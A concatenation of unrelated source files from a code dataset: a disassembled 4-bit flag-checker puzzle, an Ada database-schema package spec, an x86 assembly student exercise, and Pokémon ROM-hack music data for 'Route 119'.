000004ae: INC ACC 000004af: XCHG ACC, r3 000004b0: JNC loc_4b5 000004b5: MOV SRC, r2:3 000004b6: MOV ACC, r5 000004b7: MOV [BANK + SRC], ACC 000004b8: XCHG ACC, r3 000004b9: INC ACC 000004ba: XCHG ACC, r3 000004bb: JNC loc_4c0 000004bd: XCHG ACC, r2 000004be: INC ACC 000004bf: XCHG ACC, r2 000004c0: XCHG ACC, r1 000004c1: INC ACC 000004c2: XCHG ACC, r1 000004c3: JNC loc_4c8 000004c5: XCHG ACC, r0 000004c6: INC ACC 000004c7: XCHG ACC, r0 000004c8: INC_JZ r6, loc_4cc 000004ca: JMP loc_4a9 000004cc: RETVAL 0 00000580: MOV r2:3, 0 00000582: MOV r6:7, 0 00000584: MOV r4:5, [PC_HIGH + r0:1] 00000585: MOV SRC, r2:3 00000586: MOV ACC, r4 00000587: MOV [BANK + SRC], ACC 00000588: XCHG ACC, r3 00000589: INC ACC 0000058a: XCHG ACC, r3 0000058b: JNC loc_590 00000590: MOV SRC, r2:3 00000591: MOV ACC, r5 00000592: MOV [BANK + SRC], ACC 00000593: XCHG ACC, r3 00000594: INC ACC 00000595: XCHG ACC, r3 00000596: JNC loc_59b 00000598: XCHG ACC, r2 00000599: INC ACC 0000059a: XCHG ACC, r2 0000059b: XCHG ACC, r1 0000059c: INC ACC 0000059d: XCHG ACC, r1 0000059e: JNC loc_5a3 000005a0: XCHG ACC, r0 000005a1: INC ACC 000005a2: XCHG ACC, r0 000005a3: INC_JZ r6, loc_5a7 000005a5: JMP loc_584 000005a7: MOV r6:7, 0 000005a9: MOV r4:5, [PC_HIGH + r0:1] 000005aa: MOV SRC, r2:3 000005ab: MOV ACC, r4 000005ac: MOV [BANK + SRC], ACC 000005ad: XCHG ACC, r3 000005ae: INC ACC 000005af: XCHG ACC, r3 000005b0: JNC loc_5b5 000005b5: MOV SRC, r2:3 000005b6: MOV ACC, r5 000005b7: MOV [BANK + SRC], ACC 000005b8: XCHG ACC, r3 000005b9: INC ACC 000005ba: XCHG ACC, r3 000005bb: JNC loc_5c0 000005bd: XCHG ACC, r2 000005be: INC ACC 000005bf: XCHG ACC, r2 000005c0: XCHG ACC, r1 000005c1: INC ACC 000005c2: XCHG ACC, r1 000005c3: JNC loc_5c8 000005c5: XCHG ACC, r0 000005c6: INC ACC 000005c7: XCHG ACC, r0 000005c8: INC_JZ r6, loc_5cc 000005ca: JMP loc_5a9 000005cc: RETVAL 0 put_bank: ; (ptr as r0:1, loc as ACC) mov r2:3, [PC_HIGH + r0:1] mov r0:1, 0xa0 xchg ACC, r1 mov ACC, r2 mov SRC, r0:1 mov [BANK + SRC] INC r1 mov ACC, r3 mov SRC, r0:1 mov [BANK + SRC] INC r1 ; BANK[0xa0 | loc] = *(PC_HIGH + ptr) ; ... RETVAL 0 init_bank: mov r4:5, 0xa6 mov ACC, r4 call put_bank inc r4 mov ACC, r4 call put_bank inc r4 mov ACC, r4 call put_bank retval 0 ;0000061c: MOV r2:3, [PC_HIGH + r0:1] ;0000061d: MOV r4:5, 0xa6 ;0000061f: MOV SRC, r4:5 ;00000620: MOV ACC, r2 ;00000621: MOV [BANK + SRC], ACC ; ;00000622: MOV r4:5, 0xa7 ;00000624: MOV SRC, r4:5 ;00000625: MOV ACC, r3 ;00000626: MOV [BANK + SRC], ACC ; ;00000627: INC r1 ;00000628: MOV r2:3, [PC_HIGH + r0:1] ;00000629: MOV r4:5, 0xa8 ;0000062b: MOV SRC, r4:5 ;0000062c: MOV ACC, r2 ;0000062d: MOV [BANK + SRC], ACC ; ;0000062e: MOV r4:5, 0xa9 ;00000630: MOV SRC, r4:5 ;00000631: MOV ACC, r3 ;00000632: MOV [BANK + SRC], ACC ; ;00000633: INC r1 ;00000634: MOV r2:3, [PC_HIGH + r0:1] ;00000635: MOV r4:5, 0xaa ;00000637: MOV SRC, r4:5 ;00000638: MOV ACC, r2 ;00000639: MOV [BANK + SRC], ACC ; ;0000063a: MOV r4:5, 0xab ;0000063c: MOV SRC, r4:5 ;0000063d: MOV ACC, r3 ;0000063e: MOV [BANK + SRC], ACC ;0000063f: RETVAL 0 read_bank: ; Reads 6 nibbles 00000640: GETCHAR 00000641: MOV r0:1, 0xa0 00000643: MOV SRC, r0:1 00000644: MOV [BANK + SRC], ACC 00000645: GETCHAR 00000646: MOV r0:1, 0xa1 00000648: MOV SRC, r0:1 00000649: MOV [BANK + SRC], ACC 0000064a: GETCHAR 0000064b: MOV r0:1, 0xa2 0000064d: MOV SRC, r0:1 0000064e: MOV [BANK + SRC], ACC 0000064f: GETCHAR 00000650: MOV r0:1, 0xa3 00000652: MOV SRC, r0:1 00000653: MOV [BANK + SRC], ACC 00000654: GETCHAR 00000655: MOV r0:1, 0xa4 00000657: MOV SRC, r0:1 00000658: MOV [BANK + SRC], ACC 00000659: GETCHAR 0000065a: MOV r0:1, 0xa5 0000065c: MOV SRC, r0:1 0000065d: MOV [BANK + SRC], ACC 0000065e: RETVAL 0 welcome: 00000700: db "welcome, enter the flag:", 0 correct: 00000719: db "correct flag!", 0 incorrect: 00000727: db "incorrect flag :(", 0 puts: 00000739: MOV r2:3, [PC_HIGH + r0:1] 0000073a: MOV ACC, r2 0000073b: JNZ loc_740 0000073d: MOV ACC, r3 0000073e: JZ loc_74b 00000740: MOV ACC, r2 00000741: PUTCHAR 00000742: MOV ACC, r3 00000743: PUTCHAR 00000744: INC_JZ r1, loc_748 00000746: JMP loc_749 00000748: INC r0 00000749: JMP puts 0000074b: MOV r2:3, 10 0000074d: MOV ACC, r2 0000074e: PUTCHAR 0000074f: MOV ACC, r3 00000750: PUTCHAR 00000751: RETVAL 0 00000800: JMP loc_4 00000802: JMP loc_27 00000804: JMP loc_43 00000806: JMP loc_50 00000808: JMP loc_63 0000080a: JMP loc_71 0000080c: JMP loc_78 0000080e: JMP loc_8e 00000810: JMP PC_HIGH + r0:1 xor_op: 00000811: MOV r2:3, 11 00000813: MOV ACC, 0 00000814: XCHG ACC, r0 00000815: RAL ACC 00000816: XCHG ACC, r0 00000817: INC r3 00000818: XCHG ACC, r3 00000819: JZ loc_827 0000081b: XCHG ACC, r3 0000081c: RAR ACC 0000081d: XCHG ACC, r2 0000081e: MOV ACC, 0 0000081f: XCHG ACC, r1 00000820: RAL ACC 00000821: XCHG ACC, r1 00000822: RAR ACC 00000823: ADD ACC, r2 00000824: RAL ACC 00000825: JMP loc_813 00000827: RETVAL 0
src/ado-schemas.ads
My-Colaborations/ada-ado
0
30142
<reponame>My-Colaborations/ada-ado ----------------------------------------------------------------------- -- ado-schemas -- Database Schemas -- Copyright (C) 2009, 2010, 2018 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Strings.Unbounded; with Ada.Finalization; with Ada.Containers; with Util.Strings; with ADO.Configs; package ADO.Schemas is type Column_Index is new Natural range 0 .. ADO.Configs.MAX_COLUMNS; type Member_Names is array (Column_Index range <>) of Util.Strings.Name_Access; type Class_Mapping (Count : Column_Index) is tagged limited record Table : Util.Strings.Name_Access; Members : Member_Names (1 .. Count); end record; type Class_Mapping_Access is access constant Class_Mapping'Class; -- Get the hash value associated with the class mapping. function Hash (Mapping : Class_Mapping_Access) return Ada.Containers.Hash_Type; -- Get the Ada type mapping for the column type Column_Type is ( T_UNKNOWN, -- Boolean column T_BOOLEAN, T_TINYINT, T_SMALLINT, T_INTEGER, T_LONG_INTEGER, T_FLOAT, T_DOUBLE, T_DECIMAL, T_ENUM, T_SET, T_TIME, T_YEAR, T_DATE, T_DATE_TIME, T_TIMESTAMP, T_CHAR, T_VARCHAR, T_BLOB, T_NULL ); -- ------------------------------ -- Column Representation -- ------------------------------ -- Describes a column in a table. type Column_Definition is private; -- Get the column name function Get_Name (Column : Column_Definition) return String; -- Get the column type function Get_Type (Column : Column_Definition) return Column_Type; -- Get the default column value function Get_Default (Column : Column_Definition) return String; -- Get the column collation (for string based columns) function Get_Collation (Column : Column_Definition) return String; -- Check whether the column can be null function Is_Null (Column : Column_Definition) return Boolean; -- Check whether the column is an unsigned number function Is_Unsigned (Column : Column_Definition) return Boolean; -- Returns true if the column can hold a binary string function Is_Binary (Column : Column_Definition) return Boolean; -- Returns true if the column is a primary key. function Is_Primary (Column : Column_Definition) return Boolean; -- Get the column length function Get_Size (Column : Column_Definition) return Natural; -- ------------------------------ -- Column iterator -- ------------------------------ type Column_Cursor is private; -- Returns true if the iterator contains more column function Has_Element (Cursor : Column_Cursor) return Boolean; -- Move to the next column procedure Next (Cursor : in out Column_Cursor); -- Get the current column definition function Element (Cursor : Column_Cursor) return Column_Definition; -- ------------------------------ -- Table Representation -- ------------------------------ -- Describes a table in the database. The table contains a list -- of columns described by Column_Definition. type Table_Definition is private; -- Get the table name function Get_Name (Table : Table_Definition) return String; -- Get the column iterator function Get_Columns (Table : Table_Definition) return Column_Cursor; -- Find the column having the given name function Find_Column (Table : Table_Definition; Name : String) return Column_Definition; -- ------------------------------ -- Table iterator -- ------------------------------ type Table_Cursor is private; -- Returns true if the iterator contains more tables function Has_Element (Cursor : Table_Cursor) return Boolean; -- Move to the next column procedure Next (Cursor : in out Table_Cursor); -- Get the current table definition function Element (Cursor : Table_Cursor) return Table_Definition; -- ------------------------------ -- Database Schema -- ------------------------------ type Schema_Definition is limited private; -- Find a table knowing its name function Find_Table (Schema : Schema_Definition; Name : String) return Table_Definition; function Get_Tables (Schema : Schema_Definition) return Table_Cursor; private use Ada.Strings.Unbounded; type Column; type Column_Definition is access all Column; type Table; type Table_Definition is access all Table; type Schema; type Schema_Access is access all Schema; type Schema_Definition is new Ada.Finalization.Limited_Controlled with record Schema : Schema_Access; end record; procedure Finalize (Schema : in out Schema_Definition); type Column_Cursor is record Current : Column_Definition; end record; type Table_Cursor is record Current : Table_Definition; end record; type Column is record Next_Column : Column_Definition; Table : Table_Definition; Name : Unbounded_String; Default : Unbounded_String; Collation : Unbounded_String; Col_Type : Column_Type := T_VARCHAR; Size : Natural := 0; Is_Null : Boolean := False; Is_Binary : Boolean := False; Is_Unsigned : Boolean := False; Is_Primary : Boolean := False; end record; type Table is record Name : Unbounded_String; First_Column : Column_Definition; Next_Table : Table_Definition; end record; type Schema is record -- Tables : Table_Definition; First_Table : Table_Definition; end record; end ADO.Schemas;
sem1/asc/MaxOcteti/a.asm
itsbratu/bachelor
0
98779
bits 32 global start extern exit , printf import exit msvcrt.dll import printf msvcrt.dll extern maxim segment data use32 class=data s dd 1234A678h , 12345678h , 1AC3B47Dh , 0FEDC9876h len equ ($-s)/4 d times len db -1 mesaj_afisare db "Suma octetilor este : " , 0 format_farasemn db "%u " , 0 format_semn db "%d " , 0 segment code use32 class=code start: xor ecx , ecx mov esi , s mov edi , d mov ecx , len push dword ecx call maxim mov esi , d mov ecx , len xor edx , edx parcurgere_rezultat: xor eax , eax lodsb pushad push dword eax push dword format_farasemn call [printf] add esp , 4 * 2 popad add edx , eax loop parcurgere_rezultat pushad push dword mesaj_afisare call [printf] add esp , 4 popad push dword edx push dword format_semn call [printf] add esp , 4 * 2 push dword 0 call [exit]
audio/music/unused/Radio/Hoenn/Route 119.asm
AtmaBuster/pokeplat-gen2-old
2
169306
Music_Route119: musicheader 4, 1, Music_Route119_Ch1 musicheader 1, 2, Music_Route119_Ch2 musicheader 1, 3, Music_Route119_Ch3 musicheader 1, 4, Music_Route119_Ch4 Music_Route119_Ch1: tempo 190 dutycycle 0 vibrato $12, $15 tone $0001 notetype $6, $22 octave 2 note F#, 1 note G#, 1 intensity $32 note A_, 1 note G#, 1 intensity $42 note A_, 1 note B_, 1 intensity $52 note A_, 1 note B_, 1 intensity $62 octave 3 note C#, 1 octave 2 note B_, 1 intensity $72 octave 3 note C#, 1 note D_, 1 intensity $77 note E_, 8 octave 2 intensity $72 note A_, 2 note A_, 2 note A_, 4 octave 3 intensity $75 note E_, 8 octave 2 note A_, 2 note G#, 2 note A_, 2 octave 3 note C#, 2 note C_, 2 note C#, 2 note B_, 4 octave 4 note C#, 2 octave 3 note G_, 2 octave 4 note C#, 2 octave 3 note A_, 2 octave 4 intensity $82 note D_, 2 note C#, 2 note C#, 2 note D_, 2 note C#, 2 note C#, 2 note D_, 2 note C#, 2 note C#, 2 note D_, 2 note C#, 2 note C#, 2 intensity $72 octave 2 note A_, 4 octave 3 note D_, 2 intensity $74 note F_, 6 octave 2 intensity $72 note B_, 4 octave 3 note D_, 2 intensity $74 note G_, 6 intensity $72 note E_, 2 octave 2 note A_, 2 note A_, 2 note A_, 4 note A_, 2 note A_, 2 note A_, 1 note A_, 1 octave 3 intensity $77 note E_, 8 intensity $77 note G_, 6 note F#, 6 intensity $81 note C#, 1 octave 2 note B_, 1 octave 3 note C#, 1 note E_, 1 note C#, 1 note E_, 1 intensity $92 note G_, 2 octave 4 note C#, 2 note A_, 2 octave 5 note D_, 2 note C#, 2 note C#, 2 note D_, 2 note C#, 2 note C#, 2 intensity $91 note D_, 1 note C#, 1 octave 4 note B_, 1 note A_, 1 note G_, 1 note F_, 1 note E_, 1 note D_, 1 note C#, 1 octave 3 note B_, 1 note A_, 1 note G_, 1 octave 2 note A_, 1 note A_, 1 note A_, 1 note A_, 1 octave 3 note D_, 1 note D_, 1 intensity $97 note F_, 6 octave 2 intensity $91 note B_, 1 note B_, 1 note B_, 1 note B_, 1 octave 3 note D_, 1 note D_, 1 Music_Route119_Ch1_loop_main: dutycycle 2 intensity $77 octave 3 note G_, 4 note F#, 1 note F_, 1 note C#, 2 note E_, 2 note C#, 2 note E_, 2 note C#, 2 note E_, 2 note C#, 2 note E_, 2 note C#, 2 note E_, 2 note D_, 2 octave 2 note B_, 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 note C#, 2 octave 2 note B_, 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 2 note C#, 2 octave 2 note B_, 2 intensity $a2 octave 3 note E_, 2 note A_, 2 octave 4 note C#, 2 note E_, 2 note G#, 2 note A_, 2 note B_, 2 note A_, 2 note G#, 2 note F#, 2 note E_, 2 note D_, 2 intensity $77 octave 2 note F#, 2 octave 3 note C#, 2 octave 2 note F#, 2 octave 3 note C#, 2 octave 2 note F#, 2 octave 3 note C#, 2 octave 2 note F#, 2 octave 3 note C#, 2 octave 2 note F#, 2 octave 3 note C#, 2 octave 2 note B_, 2 note A_, 2 note G#, 2 octave 3 note E_, 2 octave 2 note G#, 2 octave 3 note E_, 2 octave 2 note G#, 2 octave 3 note E_, 2 octave 2 note G#, 2 octave 3 note E_, 2 octave 2 note G#, 2 octave 3 note E_, 2 note D_, 2 octave 2 note B_, 2 note F#, 2 octave 3 note D_, 2 octave 2 note F#, 2 octave 3 note D_, 2 octave 2 note F#, 2 octave 3 note D_, 2 octave 2 note F#, 2 octave 3 note D_, 2 octave 2 note F#, 2 octave 3 note D_, 2 note C#, 2 note D_, 2 intensity $a2 note G#, 2 note B_, 2 octave 4 note D_, 2 note F#, 1 note G#, 1 note F#, 1 note G#, 1 note F#, 1 note E_, 1 note D_, 1 note E_, 1 note D_, 1 note E_, 1 note D_, 1 octave 3 note B_, 1 note G#, 1 note B_, 1 note G#, 1 note F#, 1 note E_, 1 note D_, 1 ;;;;;;;;;;;;;;;;;;;;; note A_, 2 note B_, 2 note A_, 2 note G#, 2 note A_, 2 note G#, 2 note F#, 2 note G#, 2 note F#, 2 note E_, 2 note F#, 2 note G#, 2 note A_, 2 note D_, 2 note F#, 2 octave 4 note A_, 2 octave 3 note D_, 2 note F#, 2 note A_, 2 note D_, 2 note F#, 2 octave 4 note A_, 2 octave 3 note D_, 2 note A_, 2 octave 4 note D_, 2 note E_, 2 note D_, 2 note C#, 2 note D_, 2 note C#, 2 octave 3 note B_, 2 octave 4 note C#, 2 octave 3 note B_, 2 note E_, 2 note A_, 2 note B_, 2 octave 4 note C#, 2 octave 3 note E_, 2 note A_, 2 octave 4 note A_, 2 octave 3 note E_, 2 note A_, 2 octave 4 note E_, 2 octave 3 note E_, 2 note A_, 2 octave 4 note A_, 2 octave 3 note E_, 2 note A_, 2 intensity $a4 note E_, 4 note F#, 4 note G#, 4 intensity $a2 note A_, 2 note B_, 2 octave 4 note C#, 2 note D_, 2 note E_, 2 note F_, 2 intensity $a7 note F#, 8 note F_, 1 note E_, 1 note D#, 1 note D_, 1 note C#, 6 octave 3 intensity $a2 note B_, 2 octave 4 note C#, 2 octave 3 note B_, 2 note B_, 2 octave 4 note E_, 4 note E_, 4 note E_, 4 note E_, 2 octave 3 note B_, 2 octave 4 note C#, 4 note D_, 2 note G#, 2 note E_, 2 octave 3 note B_, 2 octave 4 note E_, 2 note G#, 2 note E_, 2 note A_, 2 note F_, 2 note C_, 2 note F_, 2 note A_, 2 note F_, 2 intensity $b1 note A#, 1 note F#, 1 note C#, 1 note F#, 1 note A#, 1 note F#, 1 note C#, 1 note F#, 1 note A#, 1 note F#, 1 note C#, 1 note F#, 1 note B_, 1 note G_, 1 note D_, 1 note G_, 1 note B_, 1 note G_, 1 note D_, 1 note G_, 1 note B_, 1 note G_, 1 note D_, 1 note G_, 1 intensity $71 octave 3 note A_, 1 octave 4 note D_, 1 note E_, 1 note D_, 1 note E_, 1 note B_, 1 note E_, 1 note B_, 1 octave 5 note D_, 1 octave 4 note A_, 1 note B_, 1 octave 5 note E_, 1 note B_, 1 note E_, 1 note D_, 1 octave 4 note A_, 1 octave 5 note E_, 1 note D_, 1 octave 4 note A_, 1 octave 5 note D_, 1 octave 4 note G#, 1 note E_, 1 note G#, 1 note D_, 1 ;;;;;;;;;;;;;;;;;;;;;;;;;;; intensity $97 octave 3 note G#, 8 intensity $92 note C_, 2 note C_, 2 note C_, 4 intensity $97 note G#, 6 note D#, 2 octave 4 note C_, 8 octave 3 intensity $92 note D#, 2 note D#, 2 note D#, 4 octave 4 intensity $97 note C_, 6 octave 3 note D#, 2 dutycycle 0 intensity $a3 octave 4 note C#, 4 note F_, 2 intensity $a0 note G#, 6 intensity $a7 note G#, 12 note __, 6 octave 2 dutycycle 2 intensity $72 note F_, 4 note G#, 2 intensity $77 note F#, 6 note A#, 6 intensity $72 note G#, 4 note A#, 2 octave 3 intensity $70 note C_, 4 intensity $77 note C_, 8 intensity $72 note C_, 4 note C#, 2 intensity $70 note D#, 4 intensity $77 note D#, 8 intensity $72 note D#, 2 note F_, 2 intensity $77 note F#, 8 ;;;;;;;;;;;;;;;;;;;;;;;;; intensity $92 octave 4 note A_, 2 octave 3 note A_, 4 octave 4 note A_, 4 note A_, 2 note A_, 2 octave 3 note A_, 4 octave 4 note A_, 4 note A_, 2 octave 5 note C#, 2 octave 4 note E_, 4 octave 5 note C#, 4 note C#, 2 note C#, 2 note D_, 2 note E_, 2 note E_, 2 note D_, 2 note C#, 2 note D_, 2 octave 4 note F#, 2 octave 5 note D_, 2 note D_, 4 note D_, 2 note D_, 2 octave 4 note F#, 4 octave 5 note D_, 4 note D_, 2 octave 4 note G_, 2 note D_, 2 octave 3 note B_, 2 octave 4 note F#, 2 note D_, 2 octave 3 note B_, 2 octave 4 note E_, 2 note C_, 2 octave 3 note G_, 2 octave 4 note G_, 2 note E_, 2 note C_, 2 dutycycle 0 octave 3 intensity $a7 note G#, 10 intensity $a2 note C#, 2 note C#, 2 note C#, 1 note C#, 1 intensity $a7 note G#, 8 note G_, 6 note F#, 6 note E_, 6 note C#, 6 intensity $93 octave 5 note D_, 2 note C#, 2 note C#, 2 note D_, 2 note C#, 2 note C#, 2 intensity $91 note D_, 1 note C#, 1 octave 4 note B_, 1 note A_, 1 note G_, 1 note F_, 1 note E_, 1 note D_, 1 note C#, 1 octave 3 note B_, 1 note A_, 1 note G_, 1 intensity $93 octave 2 note A_, 2 note A_, 2 octave 3 note D_, 2 intensity $97 note F_, 6 octave 2 intensity $93 note B_, 2 note B_, 2 octave 3 note D_, 2 loopchannel 0, Music_Route119_Ch1_loop_main Music_Route119_Ch2: dutycycle $3 vibrato $12, $15 tone $0001 notetype $6, $42 octave 3 note D#, 1 note E_, 1 intensity $52 note F#, 1 note E_, 1 intensity $62 note F#, 1 note G#, 1 intensity $72 note F#, 1 note G#, 1 intensity $82 note A_, 1 note G#, 1 intensity $92 note A_, 1 note B_, 1 intensity $a7 octave 4 note C#, 8 octave 3 intensity $a2 note E_, 2 note E_, 2 note E_, 4 octave 4 intensity $a7 note C#, 8 intensity $a5 note E_, 6 note D_, 6 note C#, 6 note E_, 6 intensity $a7 note D_, 10 octave 3 note A_, 1 note __, 1 note A_, 12 intensity $a2 note F_, 4 note G_, 2 intensity $a7 note A_, 6 intensity $a2 note G_, 4 note A_, 2 intensity $a7 note B_, 6 octave 4 note C#, 2 octave 3 intensity $a2 note E_, 2 note E_, 2 note E_, 4 note E_, 2 note E_, 2 note E_, 1 note E_, 1 octave 4 intensity $a7 note C#, 8 intensity $a5 note E_, 6 note D_, 6 intensity $a3 note C#, 4 intensity $a7 note E_, 8 note D_, 10 octave 3 note A_, 1 note __, 1 note A_, 12 intensity $a2 note F_, 2 note F_, 2 note G_, 2 intensity $a7 note A_, 6 intensity $a2 note G_, 2 note G_, 2 note A_, 2 dutycycle 0 ;;;;;;; if this trumpet section isn't loud enough, whoever is reading this should yell at me to redo it intensity $a0 octave 4 note G_, 4 note F#, 1 note F_, 1 note E_, 6 intensity $a7 vibrato $0, $36 note E_, 10 vibrato $8, $15 intensity $a2 note D_, 2 note C#, 4 note E_, 2 Music_Route119_Ch2_loop_main: intensity $a7 vibrato $6, $36 note D_, 12 vibrato $8, $15 octave 3 note A_, 6 octave 4 note D_, 2 note C#, 2 octave 3 note B_, 2 octave 4 intensity $a0 note D_, 6 intensity $a7 vibrato $6, $36 note D_, 10 vibrato $6, $15 note C#, 2 octave 3 note B_, 2 note G#, 2 note B_, 2 octave 4 vibrato $6, $36 note C#, 12 vibrato $6, $15 note E_, 6 intensity $87 octave 3 note A_, 2 intensity $97 note B_, 2 octave 4 intensity $a7 note C_, 2 intensity $a0 note C#, 6 vibrato $6, $36 intensity $a7 note C#, 10 vibrato $6, $15 octave 3 intensity $a2 note B_, 2 note A_, 4 octave 4 note C#, 2 octave 3 intensity $a7 vibrato $6, $36 note B_, 12 vibrato $6, $15 note F#, 6 note G#, 6 intensity $a2 note G#, 2 note A_, 4 note A_, 4 note A_, 4 note A_, 2 note D_, 2 intensity $a7 note G#, 4 note A_, 2 octave 4 intensity $a0 note E_, 6 vibrato $0, $46 intensity $a7 note E_, 12 intensity $b7 vibrato $12, $15 note E_, 2 note D_, 2 note C#, 2 intensity $b2 note E_, 16 note D_, 2 note C#, 4 note E_, 2 intensity $b7 note D_, 12 octave 3 note A_, 6 note E_, 2 note A_, 2 octave 4 note C#, 2 intensity $b2 note D_, 16 intensity $b2 note C#, 2 octave 3 note B_, 4 octave 4 note D_, 2 intensity $b7 note C#, 12 note E_, 2 octave 3 note E_, 2 note A_, 2 note B_, 4 note B_, 2 note A_, 4 note B_, 4 octave 4 note C#, 4 intensity $b4 note D_, 2 note E_, 2 note F#, 2 note G#, 2 note A_, 2 note A#, 2 intensity $b7 note B_, 8 note A#, 1 note A_, 1 note G#, 1 note G_, 1 note F#, 6 note G#, 6 intensity $b2 note A_, 2 note A_, 4 note A_, 4 note A_, 4 note A_, 2 note F#, 2 intensity $b7 note G#, 4 note A_, 2 note B_, 12 octave 5 note C_, 12 intensity $b2 note C#, 2 note C#, 4 note C#, 4 note C#, 1 note C#, 1 note D_, 2 note D_, 4 note D_, 4 note D_, 1 note D_, 1 octave 3 intensity $b0 note E_, 12 intensity $b7 note E_, 12 ;;;;;;;;;;;;;;;;;;; mark dutycycle 3 octave 4 intensity $a7 note C_, 8 octave 3 intensity $a2 note D#, 2 note D#, 2 note D#, 4 octave 4 intensity $a7 note C_, 8 note D#, 6 note C#, 6 note C_, 6 note D#, 6 note F_, 10 octave 3 intensity $a2 note G#, 2 intensity $a7 note G#, 6 intensity $a2 note F_, 4 note G#, 2 intensity $a7 note F#, 6 note F_, 6 note D#, 6 note C#, 6 intensity $a2 note C_, 4 note C#, 2 intensity $a0 note D#, 4 intensity $a7 note D#, 8 intensity $a2 note D#, 4 note F_, 2 intensity $a0 note F#, 4 intensity $a7 note F#, 8 intensity $a2 note G#, 2 note A#, 2 octave 4 intensity $a7 note C_, 8 note C#, 8 octave 3 intensity $a2 note E_, 2 note E_, 2 note E_, 4 octave 4 intensity $a7 note C#, 8 note E_, 6 note D_, 6 note C#, 6 note E_, 6 note D_, 10 octave 3 intensity $a2 note A_, 2 intensity $a7 note A_, 12 note G_, 6 note F#, 6 note E_, 6 note G_, 6 octave 4 note F_, 10 octave 3 intensity $a2 note G#, 2 note G#, 2 intensity $a1 note G#, 1 note G#, 1 octave 4 intensity $a7 note F_, 8 note E_, 6 note D_, 6 note C#, 6 octave 3 note A_, 6 intensity $a2 note F#, 4 note G_, 2 intensity $a0 note A_, 6 intensity $a7 note A_, 12 intensity $a2 note F_, 2 note F_, 2 note G_, 2 intensity $a7 note A_, 6 dutycycle 0 intensity $b2 note B_, 4 octave 4 note D_, 2 intensity $b4 note G_, 6 intensity $60 note G_, 10 intensity $6f note G_, 6 intensity $b7 note F#, 1 note F_, 1 note E_, 2 note D_, 2 note C#, 2 loopchannel 0, Music_Route119_Ch2_loop_main Music_Route119_Ch3: notetype $6, $14 octave 2 note __, 6 note E_, 4 note G#, 2 note A_, 15 note __, 1 note A_, 8 note G_, 15 note __, 1 note G_, 8 note F#, 15 note __, 1 note F#, 8 note F_, 7 note __, 1 note F_, 2 note F#, 2 note G_, 7 note __, 1 note G_, 2 note G#, 2 note A_, 15 note __, 1 note A_, 8 note G_, 15 note __, 1 note G_, 8 note F#, 15 note __, 1 note F#, 8 note F_, 7 note __, 1 note F_, 1 note __, 1 note F_, 1 note __, 1 note G_, 7 note __, 1 note G_, 4 Music_Route119_Ch3_loop_main: octave 3 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 note __, 2 octave 3 note D_, 1 note __, 1 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 octave 3 note D_, 2 note __, 2 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 note __, 2 octave 3 note D_, 1 note __, 1 note D_, 2 octave 4 note D_, 2 octave 3 note D_, 2 octave 4 note D_, 2 octave 3 note D_, 2 note __, 2 octave 2 note B_, 2 note __, 2 note B_, 2 octave 3 note B_, 2 note __, 2 octave 2 note B_, 1 note __, 1 note B_, 2 note __, 2 note B_, 2 octave 3 note B_, 2 octave 2 note B_, 2 note __, 2 note A_, 2 note __, 2 note A_, 2 octave 3 note A_, 2 note __, 2 octave 2 note A_, 1 note __, 1 note A_, 2 note __, 2 note A_, 2 octave 3 note A_, 2 octave 2 note A_, 2 note __, 2 note F#, 2 note __, 2 note F#, 2 octave 3 note F#, 2 note __, 2 octave 2 note F#, 1 note __, 1 note F#, 2 note __, 2 note F#, 2 octave 3 note F#, 2 octave 2 note F#, 2 note __, 2 note E_, 2 note __, 2 note E_, 2 octave 3 note E_, 2 note __, 2 octave 2 note E_, 1 note __, 1 note E_, 2 octave 3 note E_, 2 octave 2 note E_, 2 octave 3 note E_, 2 octave 2 note E_, 2 note __, 2 octave 3 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 note __, 2 note D_, 2 octave 3 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 octave 3 note D_, 2 note __, 2 note E_, 2 octave 4 note E_, 2 octave 3 note E_, 2 octave 4 note E_, 2 octave 3 note E_, 2 note __, 2 note E_, 2 note __, 2 note E_, 2 octave 4 note E_, 2 note D_, 2 octave 3 note E_, 2 octave 4 note D_, 2 octave 3 note D_, 2 note __, 2 note D_, 4 note __, 2 octave 4 note D_, 2 octave 3 note D_, 2 note __, 2 note D_, 2 note __, 2 note D_, 1 note __, 1 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 octave 3 note D_, 1 note __, 1 note D_, 2 octave 4 note D_, 2 octave 3 note D_, 2 note __, 2 note D_, 2 note __, 2 note D_, 2 note B_, 2 octave 2 note B_, 2 note __, 2 note B_, 2 note __, 2 note B_, 2 octave 3 note B_, 2 octave 2 note B_, 2 note __, 2 note B_, 2 note __, 2 octave 3 note B_, 2 octave 2 note A_, 2 note __, 2 note A_, 2 octave 3 note A_, 2 octave 2 note A_, 2 note __, 2 octave 3 note A_, 2 octave 2 note A_, 2 note __, 2 note A_, 2 note __, 2 note A_, 2 note F#, 2 note __, 2 note F#, 2 octave 3 note F#, 2 note __, 2 octave 2 note F#, 2 octave 3 note F#, 2 octave 2 note F#, 2 note __, 2 note F#, 2 note __, 2 note F#, 2 note E_, 2 note __, 2 note E_, 2 octave 3 note E_, 2 note __, 2 octave 2 note E_, 1 note __, 1 note E_, 2 note __, 2 note E_, 2 octave 3 note E_, 2 octave 2 note E_, 2 note __, 2 octave 3 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 note __, 2 octave 3 note D_, 1 note __, 1 note D_, 2 note __, 2 note D_, 2 octave 4 note D_, 2 octave 3 note D_, 2 